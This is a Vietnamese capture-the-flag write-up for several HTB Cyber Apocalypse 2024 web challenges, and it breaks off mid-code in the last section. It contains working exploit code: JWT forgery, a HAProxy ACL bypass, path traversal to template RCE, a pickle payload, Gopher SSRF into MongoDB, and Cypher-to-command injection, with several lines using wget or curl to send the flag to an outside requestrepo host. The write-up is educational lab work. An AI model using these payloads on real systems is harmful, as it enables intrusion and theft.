HTB Cyber Apocalypse CTF 2024: Hacker Royale Write Up

·

130 min read

Table of contents


Web

Local Talk

credit: NgocTran

Preface

Đây là challenge từ giải Cyber Apocalypse 2024: Hacker Royale - After Party. Một challenge rất thú vị khi nó tồn tại hai lỗ hổng đáng chú ý CVE-2023-45539CVE-2022-39227. Bằng cách bypass HAproxy ACL dẫn đến việc truy cập vào được endpoint chứa đoạn jwt sử dụng python_jwt module version 3.3.3, ta có thể sử dụng hai lỗ hổng trên để thay đổi role của user từ đó giúp ta lấy được flag.

Recon

Challenge cung cấp cho chúng ta 3 api bảo gồm /api/v1/get_ticket, /api/v1/chat/{chatId}/api/v1/flag

image

  1. /api/v1/get_ticket

     @api_blueprint.route('/get_ticket', methods=['GET'])
     def get_ticket():
    
         claims = {
             "role": "guest", 
             "user": "guest_user"
         }
    
         token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
         return jsonify({'ticket: ': token})
    

    Có vẻ tại endpoint này ta có thể tạo một đoạn token sử dụng PS256 - là một thuật toán chữ ký điện tử dựa trên chuỗi (Elliptic Curve Digital Signature Algorithm - ECDSA) được sử dụng trong JSON Web Signature (JWS). Tại đây ta có thể chú ý role của user được xét mặc định là guest.

  2. /api/v1/get_ticket

@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200

Để lấy được flag có vẻ ta phải set lại sao cho role được đặt là administrator

Như vậy mục tiêu bây giờ ta cần thay đổi role của user trong token là administrator. Tuy nhiên vấn đề xảy ra ở đây là khi ta truy cập vào endpoint /api/v1/get_ticket nói trên nó lại trả về cho chúng ta status_code 403

image

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

Tiếp tục đi sâu vào challenge thì mình tìm được một đoạn HAproxy đã được config như trên

Access Control List (ACL) trong HAProxy: ACL là một cách để xác định các điều kiện để áp dụng các hành động cụ thể trên các yêu cầu hoặc kết nối. Chúng cho phép bạn thực hiện các quy tắc phân tách dựa trên các tiêu chí như địa chỉ IP, đường dẫn URL, header HTTP, và nhiều điều kiện khác để quyết định cách xử lý yêu cầu

Ở đoạn config nêu trên ta có thể dễ dang thấy HAProxy cấu hình lắng nghe cổng 1337, chuyển hướng yêu cầu không khớp đến backend backend. ACL kiểm tra đường dẫn yêu cầu, từ chối yêu cầu bắt đầu bằng /api/v1/get_ticket.

Wait, I can bypass this?

BXUj

Get access ticket by bypassing HAProxy ACL with # fragment

CVE-2023-45539

Sau khi thực hiện googling mình phát hiện ta có thể sử dụng dấu # để có thể bypass qua việc config http-request deny. Cụ thể: HAProxy trước phiên bản 2.8.2 chấp nhận ký tự "#" trong phần URI, điều này có thể cho phép các kẻ tấn công từ xa thu thập thông tin nhạy cảm hoặc có tác động không xác định khác khi phân tích sai quy tắc path_end, ví dụ như định tuyến index.html#.png đến một máy chủ tĩnh

image

Forging a new JWT Token with tampered claims in order to bypass role restrictions

Sau khi có thể tạo ra được token, công việc của chúng ta đến chỉ cần thay đoạn token sao cho role của user thành administrator

Sau khi biết được nó sử dụng pyjwt 3.3.3 mình ngay lập tức google vài đường thì được biết tại phiên bản này nó tồn tại một lỗ hổng CVE-2022-39227. Hãy đề cập một chút về lỗ hổng này:

#test/vulnerability_vows.py  
""" Test claim forgery vulnerability fix """  
from datetime import timedelta  
from json import loads, dumps  
from test.common import generated_keys  
from test import python_jwt as jwt  
from pyvows import Vows, expect  
from jwcrypto.common import base64url_decode, base64url_encode  

@Vows.batch  
class ForgedClaims(Vows.Context):  
   """ Check we get an error when payload is forged using mix of compact and JSON formats """  
   def topic(self):  
       """ Generate token """  
       payload = {'sub': 'alice'}  
       return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))  

   class PolyglotToken(Vows.Context):  
       """ Make a forged token """  
       def topic(self, topic):  
           """ Use mix of JSON and compact format to insert forged claims including long expiration """  
          [header, payload, signature] = topic.split('.')  
           parsed_payload = loads(base64url_decode(payload)) 
           parsed_payload['sub'] = 'bob'  
           parsed_payload['exp'] = 2000000000  
           fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))  
           return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}' 
       class Verify(Vows.Context):  
           """ Check the forged token fails to verify """  
           @Vows.capture_error  
           def topic(self, topic):  
               """ Verify the forged token """  
               return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])  
           def token_should_not_verify(self, r):  
               """ Check the token doesn't verify due to mixed format being detected """  
               expect(r).to_be_an_error()  
               expect(str(r)).to_equal('invalid JWT format')

Ta có thể thấy rằng JWT ban đầu được chia thành [header, payload, signature] ba phần, sau đó payload, đó là phần chứa thông tin ban đầu, được lấy ra, và sau đó thêm vào Sau khi đánh giả nội dung, mã hóa lại với base64 (separators=(',', ':') phần này tương đương với việc loại bỏ các khoảng trắng sẽ được thêm khi mã hóa trực tiếp) để tạo ra payload giả mạo, và cuối cùng xây dựng và tạo ra một JWT mới theo dạng sau đây (trong thực tế, không thể nói là một JWT nữa, bởi vì chuỗi được tạo ra không còn gì của JWT nữa).

{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}

Chúng ta hãy đi sâu vào chi tiết hơn, mình có tạo một đoạn code demo ở đây:

#testFakeJWT.py  
from json import *  
from python_jwt import *  
from jwcrypto import jwk  
payload={'username':"jlan","secret":"10010"}  
key=jwk.JWK.generate(kty='RSA', size=2048)  
jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))  
[header, payload, signature] = jwtjson.split('.')  
parsed_payload = loads(base64url_decode(payload))  
print(parsed_payload)  
parsed_payload['username']="admin"  
parsed_payload['secret']="10086"  
fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':'))))  
fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'  
print(verify_jwt(fakejwt, key, ['PS256']))  

#{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}  
#({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})

Phân tích

image

Có thể thấy rằng JWT được chia thành các phần header, claims, signature dựa trên dấu chấm (.) và được lưu vào các biến tương ứng, sau đó phần header được giải mã base64. Việc giải mã ở đây sẽ bỏ qua các ký tự không phải base64, và các thuộc tính sẽ được kiểm tra một cách tuần tự (khi tham số ignore_not_implemented không được cung cấp hoặc False).

Nhìn xuống phần if pub_key:, nếu chúng ta truyền vào khóa, chữ ký JWT sẽ được phân tích. Hãy tiếp tục theo dõi token.deserialize(jwt, pub_key) để xem quá trình xác minh.

image

Có thể thấy rằng JWT ban đầu được nhận vào đầu tiên được thử để được phân tích dưới dạng json, sau đó chữ ký được xác minh. Hàm _deserialize_signature sẽ phân tích và lấy ra chữ ký. Hàm _deserialize_b64 liệu rằng nội dung xác minh cần được giải mã base64 không?

Tóm lại, nội dung ở phần trước của hàm này là giải mã dữ liệu trong định dạng json và gán các thuộc tính tương ứng được yêu cầu bởi JWT cho đối tượng o. Trong json mà chúng ta xây dựng, tất cả các thuộc tính của o đều từ JWT bình thường ban đầu. Sau khi hoàn thành việc phân tích, self.objects sẽ được gán một giá trị của o, và cuối cùng là vào hàm verify.

image

Bạn có thể thấy ở đây nó thực sự kiểm tra từng phần của JWT. Điều mà nó kiểm tra ở đây là JWT ban đầu hoàn chỉnh, vì vậy chắc chắn không có vấn đề gì với điều này, và việc xác minh này chắc chắn có thể thông qua

Chúng ta hãy quay trở lại với ___init__.py

image

Ta có thể thấy rằng sau khi xác minh, không có sử dụng lại token. Sau đó, một số tham số trong headerclaims được kiểm tra, và parsed_headerparsed_claims được trả về. Như vậy, sau khi xác minh toàn bộ JWT, dữ liệu đã được xác minh không được trả về, mà thay vào đó là dữ liệu sau các dấu chấm ban đầu được trả về.

Lúc này đoạn exploit của chúng ta có dạng

{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}

Như đã thấy ở trên, json mà chúng ta truyền vào đầu tiên được chia thành các phần dấu chấm trong định dạng chuỗi. Phần thứ hai là phần payload giả mạo của chúng ta. Chúng ta chỉ cần lấy ra payload ban đầu và sửa đổi nó.

Exploit

from datetime import timedelta
from json import loads, dumps
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
from pprint import pprint
class ForgedClaims:
    def create(self):
        """ Generate token """
        # payload = {'sub': 'alice'}
        token = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAxNDc1MTksImlhdCI6MTcxMDE0MzkxOSwianRpIjoiYmQtcW5GYnBqcUhpbEFSeXN5aGwyUSIsIm5iZiI6MTcxMDE0MzkxOSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.s569WtLjeq3NQSI9GXVDfTYJSUrxdEGtCBnxjHnwEa6UWwS6RNfLF-qMjvAc-GiqHzG1Wx1SQd1tsqIqnIF6zz9zXFQaSimFgnYE0HvUwaI_XhzBJA-ZxmrgetgJjbOhKBOopKIXmtUt-LPE2tsB3yr6SJe-C2RvFlTzrgQMDrOtRBJJiXfYne1QI4nnXUFY0XsNXCpKQIe6ELHNmeE-F6Fj5s1AJwUEBwWJNVnmw_s5mVbL1hvIE54e2mJg5VK8PfCLXx4u-ghVRgGDRkUza4UpgM8nrSmTj5d40iREyz9M6PDvi0TFhuVvlQStrpz0UId-uyL4-Vwp9UnTOSNBRA"
        return token
    def topic(self, topic):
        """ Use mix of JSON and compact format to insert forged claims including long expiration """
        [header, payload, signature] = topic.split('.')
        parsed_payload = loads(base64url_decode(payload))
        print(parsed_payload)
        parsed_payload['role'] = 'administrator'
        parsed_payload['user'] = 'admin_user'
        print(parsed_payload)
        # parsed_payload['exp'] = 2000000000
        fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
        return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
claime__ = ForgedClaims()
jwt = claime__.create()
print(claime__.topic(jwt))

Result

image

Flag

HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}

Testimonial

credit: NgocTran

Preface

Ta tiếp tục đến với challenge thứ hai, cũng là một challenge rất hay khi cách giải của nó lại không khó như ban đầu mình nghĩ bằng cách thay vì connect tới server chính, ta lại giải quyết bằng cách sử dụng grpc để tương tác và thực hiện ghi đè file nhằm trigger RCE.

Recon

image

Đi vào trang web của challenge thì ở đây có vẻ nó cho phép ta ghi nội dung và tên file sau đó được lưu trên server tại public/testimonials

image

image

Tuy nhiên tên file đã bị filter, điều này có vẻ khiến chúng ta không thể trigger được path traversal nhằm ghi đè file khác lên server nhằm mục đích RCE

Yeah một câu hỏi là How? lại bắt đầu

IZEl

image

Hãy chú ý đến việc đoạn code có sử dụng gRPC

Đôi nét về gRPC

gRPC là một framework mã nguồn mở được Google phát triển, được sử dụng để tạo ra các dịch vụ RPC (Remote Procedure Call) hiệu suất cao, có khả năng đa ngôn ngữ và có khả năng mở rộng. gRPC sử dụng Protocol Buffers (protobuf) làm công cụ mô tả giao diện dịch vụ và định dạng dữ liệu. Nó cho phép tạo ra các dịch vụ và clients ở nhiều ngôn ngữ khác nhau, với khả năng tạo mã tự động từ mô tả giao diện. Các dịch vụ gRPC có thể sử dụng HTTP/2 để tận dụng các tính năng như multiplexing, độ trễ thấp, và giao thức mã hóa.

Như đã nói ở trên việc filter chỉ diễn ra trên đoạn xử lý với client, tuy nhiên server lại cung cấp cho ta hai server và một trong số đó là gRPC vậy điều gì xảy ra khi chúng ta sử dụng server thứ hai này để ghi đè file inject SSTI để RCE. Lúc này việc lọc tên file hay .. cũng sẽ không xảy ra vì lúc này ta chỉ tương tác với gRPC.

gRPC command line tool

Sau khi googling mình tìm được repo này khá thú vị.

Sử dụng nó chúng ta có thể liệt kê các services bằng cách specifying the proto file

./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 list

RickyService

Tiếp tục , describe the service

./grpcurl -import-path ../challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 describe RickyService

RickyService is a service:
service RickyService {
  rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}

Tuy nhiên, sau khi mình thử invoke RPC thì server does not support the reflection API

./grpcurl -plaintext 94.237.53.3:49854 RickyService.TestimonialSubmission

Error invoking method "RickyService.TestimonialSubmission": failed to query for service descriptor "RickyService": server does not support the reflection API

Tiếp tục tìm kiếm thì mình đọc được docs như sau:

To use grpcurl on servers that do not support reflection, you can use .proto source files.
In addition to using -proto flags to point grpcurl at the relevant proto source file(s), you may also need to supply -import-path flags to tell grpcurl the folders from which dependencies can be imported.
./grpcurl -plaintext -d '{"customer": "test", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial

{
  "message": "Testimonial submitted successfully"
}

Yeah chúng ta đã thành công ghi được file lên gRPC thông qua grpcurl Như mình đã nói ở trên việc sử dụng gRPC để ghi file thì có thể chúng ta sẽ không bị filter lọc, lúc này việc path traversal để ghi đè file lại trở nên dễ dàng. Mình dựng lại challenge ở local và test xem liệu suy đoán của mình có đúng không.

./grpcurl -plaintext -d '{"customer": "../../../../haha.txt", "testimonial": "no for test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial

{
  "message": "Testimonial submitted successfully"
}
$ docker exec -it web_testimonial bash

~ # ls /
bin                 flaga8f171e25e.txt  mnt                 sbin                usr
challenge           go                  opt                 srv                 var
dev                 home                proc                sys
entrypoint.sh       lib                 root                haha.txt
etc                 media               run                 tmp

Ghi file thành công, vậy điều gì nếu ta có thể ghi đè lại file index.templ do ta đã cấu hình lại với đoạn code nhằm trigger rce như sau:

package home

import (
    "os/exec"
    "strings"
)

func hack() []string {
    output, _ := exec.Command("ls", "/").CombinedOutput()
    lines := strings.Fields(string(output))
    return lines
}

templ Index() {
    @template(hack())
}

templ template(items []string) {
    for _, item := range items {
        {item}
    }
}

Exploit

./grpcurl -plaintext -d '{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"cat\", \"/flagbba4cb647c.txt\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t@template(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial

{
  "message": "Testimonial submitted successfully"
}

Flag

HTB {w34kly_t35t3d_t3mplate5}

SerialFlow

credit: hackerga2101

About vulnerebility

Exploit

  • Challenge có 2 routes: / and /set cho phép custom lại color của website

  • Và 2 handlers để xử lý errors và sessions trước mọi request

  • Mình nhận thấy 2 routes chính không có vuln nhưng server đang mở port 11211 cho memcached

  • Sau khi search về memcached mình phát hiện ra có vuln serialized data injection vào Memcached

  • Thông qua việc tạo session, ta có thể inject nó vào memcached (python pickle) để serialize data ta truyền vào

  • Mình tìm một bài viết khai thác khá giống với challenge hiện tại (nhưng không thành công khi inject vào param uicolor ở route/set)

  • Hold up, để ý session handler, ta cũng có thể tùy chỉnh session theo ý mình(và nó được tạo trước khi vào bất kỳ routes nào)

  • Ta có một inject point mới (đó là session cái sẽ được khởi tạo trước uicolor)

  • Follow bài viết mình có set và get format command của memcached

  • Build local và bắt gói tin bằng wireshark, bạn sẽ thấy được giá trị của set command

  • Custom lại poc để exploit:
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('wget http://y8gdi5i3.requestrepo.com/$(cat /f*)')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    payload_size = len(payload)
    cookie = b'\r\nset session:f0965c70-401b-4b6f-932c-b251165c1d5d 0 2592000 '
    cookie += str.encode(str(payload_size))
    cookie += str.encode('\r\n')
    cookie += payload
    cookie += str.encode('\r\n')
    cookie += str.encode('get session:f0965c70-401b-4b6f-932c-b251165c1d5d')
    pack = ''
    for x in list(cookie):
        if x > 64:
            pack += oct(x).replace("0o","\\")
        elif x < 8:
            pack += oct(x).replace("0o","\\00")
        else:
            pack += oct(x).replace("0o","\\0")

    return f"\"{pack}\""
print(generate_exploit())
  • Mình tạo pickle payload để execute os.system curl đến requestrepo với path là flag

  • Vì session bị limited 86 kí tự, nên mình giảm command xuống

  • Lưu ý rằng bạn cần build poc bằng linux hoặc ubuntu

  • Sau khi gửi payload injection vào session, bạn cần gửi thêm 1 request bất kì đẩy payload inject vào memcached để serialize

  • Và thành công lấy flag

Percetron

credit: chuong

Preface

Bài này team mình không làm được mà @kev1n "bắt" mình viết writeup lại nên mình đọc từ writeup này của team Friendly Maltese Citizens (Top 1 giải này)

image

Overview

Thông tin Users được lưu trữ trong MongoDB, sau khi register và login ta vào được trang chủ:

image

Web sẽ chứa thông tin về các CertificateHost (với mối quan hệ HAS_CERTIFICATE) được xậy dựng dựa trên Neo4j:

image

image

Đi vào source code: routes/generic.js chứ 2 endpoints đều nhận vào param url:

  • /healthcheck: tạo ra request GET tới url, tuy nhiên đã bị filter:
exports.check = (url) => {
    const parsed = new URL(url);

    if (isNaN(parseInt(parsed.port))) {
        return false;
    }

    if (parsed.port == "1337" || parsed.port == "3000") {
        return false;
    }

    if (parsed.pathname.toLowerCase().includes("healthcheck")) {
        return false;
    }

    const bad = ["localhost", "127", "0177", "000", "0x7", "0x0", "@0", "[::]", "0:0:0", "①②⑦"];
    if (bad.some(w => parsed.hostname.toLowerCase().includes(w))) {
        return false;
    }

    return true;
}
  • /healthcheck-dev: Thực hiện request HEAD tới url và trả về statusCode:
exports.getUrlStatusCode = (url) => {
    return new Promise((resolve, reject) => {
        const curlArgs = ["-L", "-I", "-s", "-o", "/dev/null", "-w", "%{http_code}", url];
        execFile("curl", curlArgs, (error, stdout, stderr) => {
            if (error) {
                reject(error);
                return;
            }

            const statusCode = parseInt(stdout, 10);
            console.log(statusCode)
            resolve(statusCode);
        });
    });
}

Endpoint này đã chặn bởi HaProxy với option:

backend forward_default
http-request deny if { path -i -m beg /healthcheck-dev }
server s1 127.0.0.1:3000

Ngoài ra user có permissionadministrator sẽ có thêm 2 chức năng tại /panel/management/addcert/panel/management/dl-certs Flag được tạo random trên server => cần phải RCE

image

Bypass HAProxy via HTTP Request Smuggling

Tại /healthcheck được filter khá chặt => khó bypass, nên ta có thể bypass proxy để từ /healthcheck-dev

HaProxy trong bài sử dụng version 2.3, theo CVE-2023-25725:

image

HTTP Request Smuggling là một kỹ thuật tấn công mạng nhằm khai thác sự không nhất quán trong cách xử lý HTTP request giữa các server, thường là proxy với back-end. Mục tiêu của tấn công này là "lừa" server hoặc proxy gửi một HTTP request bị tấn công (smuggled request) đến server tiếp mà không được phát hiện hoặc xử lý đúng cách, cho phép attacker thực hiện các hành động độc hại.

Tham khảo thêm tại PortSwigger.

Như vậy trong header parser với HTTP/1 trên HaProxy chấp nhận việc sử dụng header trống, điều này có thể dẫn đến việc cắt bỏ một số header sau header rỗng, có nghĩa là nó không được xem xét hoặc xử lý như thể chúng không tồn tại.

Khai thác:

image

Kết quả:

image

Như vậy là đã bypass được proxy để có thể có thể thiết lập cuộc tấn công SSRF.

Gopher SSRF

Gopher là một giao thức truyền tải tài liệu dựa trên HTTP và được thiết kế để cung cấp truy cập dễ dàng đến các tài nguyên trên Internet. Nó cho phép gửi các TCP request tùy ý với syntax: gopher://[ip]:[port]/_[url encoded payload]. Việc mongodb không sử dụng credentials để tương tác với database, ta có có thể lợi dụng gopher để thao tác với database.

image

Format của document:

{ "_id" : ObjectId("65f79d9bb32c0e04c4ac2c21"), "username" : "a", "password" : "$2a$10$HcA4GJoPIT.zWGNT7/IElOi4C5pWyBVGBQ78xRI.gBWOU/6eRLoE2", "permission" : "user", "__v" : 0 }

Trong MongoDB hay một số NoSQL khác, dữ liệu được truyền giữa client và server thông qua giao thức TCP/IP, dữ liệu được mã hóa và giải mã thành định dạng BSON. Server MongoDB nhận được gói tin, giải mã dữ liệu BSON và xử lý truy vấn. Tóm lại script tạo user b:bpermissionadministrator:

const BSON = require("bson");
const bcrypt = require("bcryptjs");

function bufferToURLEncoded(buffer) {
    return buffer.toString('hex').toUpperCase().replace(/../g, '%$&');
}

(async () => {
    const doc = {
        insert: 'users',
        documents: [
            {
                _id: new BSON.ObjectId(),
                username: 'b',
                password: await bcrypt.hash('b', 10),
                permission: 'administrator',
            }
        ],
        ordered: true,
        '$db': 'percetron',
    };
    const data = BSON.serialize(doc);

    let beginning = Buffer.from(
        "000000000000000000000000DD0700000000000000",
        "hex"
    );
    let payload = Buffer.concat([beginning, data]);
    payload.writeUInt32LE(payload.length, 0);

    console.log(bufferToURLEncoded(payload));
})();

Tìm hiểu script rõ hơn trong bài ctf này: https://brycec.me/posts/starctf2021_writeups#oh-my-bet

Payload được tạo:

image

Tìm hiểu về payload này tại MongoDB Wire Protocol

Gửi request:

image

Kết quả sẽ có user được thêm vào database:

image

Login:

image

RCE

Sau khi vào admin, ta có thêm 2 chức năng

1. /panel/management/addcert

Enpoint này để thêm cert:

router.post("/panel/management/addcert", adminMiddleware, async (req, res) => {
    const pem = req.body.pem;
    const pubKey = req.body.pubKey;
    const privKey = req.body.privKey;

    if (!(pem && pubKey && privKey)) return res.render("error", {message: "Missing parameters"});

    const db = new Neo4jConnection();
    const certCreated = await db.addCertificate({"cert": pem, "pubKey": pubKey, "privKey": privKey});

    console.log(certCreated)
    if (!certCreated) {
        return res.render("error", {message: "Could not add certificate"});
    }

    res.redirect("/panel/management");
});

Đi vào hàm addCertificate ta thấy được input này sẽ được parsed:

const certInfo = parseCert(cert.cert);

Về x509.js có 2 hàm:

  • Hàm generateCert nhận các thông tin về domain, org, locality, state, country. Nó sử dụng thư viện node-forge để tạo một cặp khóa RSA, sau đó tạo cert SSL dựa trên các thông tin đã cung cấp. Cuối cùng, nó trả về public key, private keyPEM (vì vậy ta dựa vào đây để xây dựng script tạo cert)

  • Hàm parseCert nhận PEM và parse nó qua thư viện node-forge.

Các thông tin lưu vào biến certInfo để đưa vào query Cypher sau:

CREATE (:Certificate {
    common_name: '${certInfo.issuer.commonName}',
    file_name: '${certPath}',
    org_name: '${certInfo.issuer.organizationName}',
    locality_name: '${certInfo.issuer.localityName}',
    state_name: '${certInfo.issuer.stateOrProvinceName}',
    country_name: '${certInfo.issuer.countryName}'
});

Sau đó query được thực thi:

async runQuery(query, params = {}) {
    const result = await this.session.run(query, params);
    return result.records;
}

Như vậy việc truyền trực tiếp input và thực thi như thế này sẽ tiềm ẩn lỗ hổng Cypher Injection.

2. /panel/management/dl-certs

Chức năng này là zip các certs lại.

router.get("/panel/management/dl-certs", adminMiddleware, async (req, res) => {
    const db = new Neo4jConnection();
    const certificates = await db.getAllCertificates();

    let dirsArray = [];
    for (let i = 0; i < certificates.length; i++) {
        const cert = certificates[i];
        const filename = cert.file_name;
        const absolutePath = path.resolve(__dirname, filename);
        const fileDirectory = path.dirname(absolutePath);
        dirsArray.push(fileDirectory);
    }

    dirsArray = [...new Set(dirsArray)];
    const zipArray = [];
    let madeError = false;

    for (let i = 0; i < dirsArray.length; i++) {
        if (madeError) break;

        const dir = dirsArray[i];
        const zipName = "/tmp/" + randomHex(16) + ".zip";

        sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
            madeError = true;
        })

        zipArray.push(zipName);  
    }

    if (madeError) {
        res.render("error", {message: "Error compressing files"});
    } else {
        res.send(zipArray);
    }
});

Dòng code zip file:

sevenzip.compress("zip", {dir: dir, destination: zipName, is64: true}, () => {}).catch(() => {
    madeError = true;
})

Đi vào thư viện sevenzip:

Thư viện này sử dụng child_process.execFile(file[, args][, options][, callback]) để thực thi command, đối với compress:

image

Việc có option shell : true, command sẽ được chỉ định thực thi dưới dạng shell, và trên Unix như bài này, shell mặc định là /bin/sh. Đi tiếp vào hàm buildCommandArgs:

image

Theo như code parameters được truyền vào là {dir: dir, destination: zipName, is64: true}, ta có thể kiểm soát được dir, từ đó thực hiện được command injection trong thư viện này.

3. Command Injection

Xem lại đoạn code tạo biến dir tức là tên thư mục chứa cert:

const filename = cert.file_name;
const absolutePath = path.resolve(__dirname, filename);
const fileDirectory = path.dirname(absolutePath);

Nó được trả về qua 2 hàm trên, vì ta có thể kiểm soát được filename dựa vào cert nên có thể custom được fileDirectory phù hợp để có thể khai thác.

Ví dụ như:

image

Như vậy ta có thể thực hiện command injection với filename là $(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/a để đọc flag.

4. Cypher Injection (Neo4j)

Neo4j là một graph database, nó lưu trữ và truy xuất dữ liệu theo dạng graph với các nodes và relationships.

Cypher là ngôn ngữ truy vấn dữ liệu được sử dụng với Neo4j. Nó cho phép người dùng truy vấn và thao tác với database của Neo4j một cách hiệu quả.

Tham khảo thêm tại: Cypher Docs

Mặt khác filename được lấy từ cert, như đã nói trong phần trên ta sẽ khai thác cypher injection tại đây.

Payload cũng sẽ tương tự như trong SQL Injection trong câu lệnh Insert

'}), (:Certificate { file_name: '<payload>

Script tạo cert:

const fs = require("fs");
const forge = require("node-forge");

const file_path = `$(curl -d "$(cat /flag*)" http://vpcow77t.requestrepo.com)/`;

const subject = [{
    name: "countryName",
    value: '',
}, {
    name: "stateOrProvinceName",
    value: '',
}, {
    name: "localityName",
    value: '',
}, {
    name: "organizationName",
    value: '',
}, {
    name: "commonName",
    value: `'}), (:Certificate { file_name: '${file_path}`,
}];

const keys = forge.pki.rsa.generateKeyPair(2048);
const publicKey = forge.pki.publicKeyToPem(keys.publicKey);
const privateKey = forge.pki.privateKeyToPem(keys.privateKey);
const cert = forge.pki.createCertificate();

cert.publicKey = keys.publicKey;
cert.serialNumber = "01";
cert.validity.notBefore = new Date();
cert.validity.notAfter = new Date();
cert.validity.notAfter.setFullYear(cert.validity.notBefore.getFullYear() + 1);
cert.setSubject(subject);
cert.setIssuer(subject);
cert.sign(keys.privateKey);

fs.writeFileSync('cert.json', JSON.stringify({
    "privKey": privateKey,
    "pubKey": publicKey,
    "cert": forge.pki.certificateToPem(cert)
}));

cert.json thu được:

image

Script thêm cert và thực hiện zip file:

import json
import requests

target = 'localhost:1337'

with open('cert.json', 'r') as f:
    cert = json.load(f)
cookies = {"connect.sid": "s%3Axm6-LE0YXK2AdAEkPx5cX2wsJl9dx9W2.aejSo%2FkqyaXigEMfN0dxG2pM6sgl4kQPuHso1pe0YkY"}

requests.post(f'http://{target}/panel/management/addcert', cookies=cookies, data=cert)
requests.get(f'http://{target}/panel/management/dl-certs', cookies=cookies)

Kết quả:

image

Time KORP

credit: l3mnt2010

Đây là một bài command injection đơn giản với mã nguồn php.

image

RECON

Đề bài cho ta source code, trước tiên thì xem cơ bản chức năng đã nha :<

Vào trang ta có thể thấy trang có 2 chức năng chính là hiển thị ngày và hiển thì giờ.

image

Chức năng hiện thị giờ

image

Sever nhận param format của giờ là %H:%M:%S để hiển thị giờ. Chức năng hiển thị ngày/tháng/năm

image

Sever nhận param format là %Y-%m-%d để hiển thị.

DETECT

Okeee, như ta thấy thì chưa có lỗ hổng gì có thể tìm thấy ở trên cùng viewwww source nào 💯

Nhìn một cách tổng quan ta có thể thấy cấu trúc cây thư mục viết theo mô hình MVC khá phổ biến hiện nay :>

image

Những điểm quan trọng để giải quyết

views/index.php

<h1 class="jumbotron-heading">><span class='text-muted'>It's</span> <?= $time ?><span class='text-muted'>.</span></h1>

Ngoài những phần css và js thì chỉ có điểm này để hiển thị ngày giờ như ở trên ta phân tích.

Dockerfile

FROM debian:buster-slim

# Setup user
RUN useradd www

# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget

# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list

# Install PHP dependencies
RUN apt update && apt install -y php7.4-fpm

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf

# Copy challenge files
COPY challenge /www

# Setup permissions
RUN chown -R www:www /www /var/lib/nginx

# Copy flag
COPY flag /flag

# Expose the port nginx is listening on
EXPOSE 80

# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf

Đoạn này thì chỉ cần chú ý là flag nằm trong /flag thui :>

/index.php

<?php
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

$response = $router->match();

die($response);

Mã trên sẽ map controller và model và cả TimeController@index thui nha.

Cũng tương tự với Route.php

Nói khá nhiều nhưng mà phần mấu chốt chỉ có ở đây thoiiiii

image

Như ta có thể thấy param format nhận được sẽ được nhận để khởi tạo một đối tượng qua class TimeModel và map kết quả tra ra ở template

models/TimeController.php

<?php
class TimeModel
{
    public function __construct($format)
    {
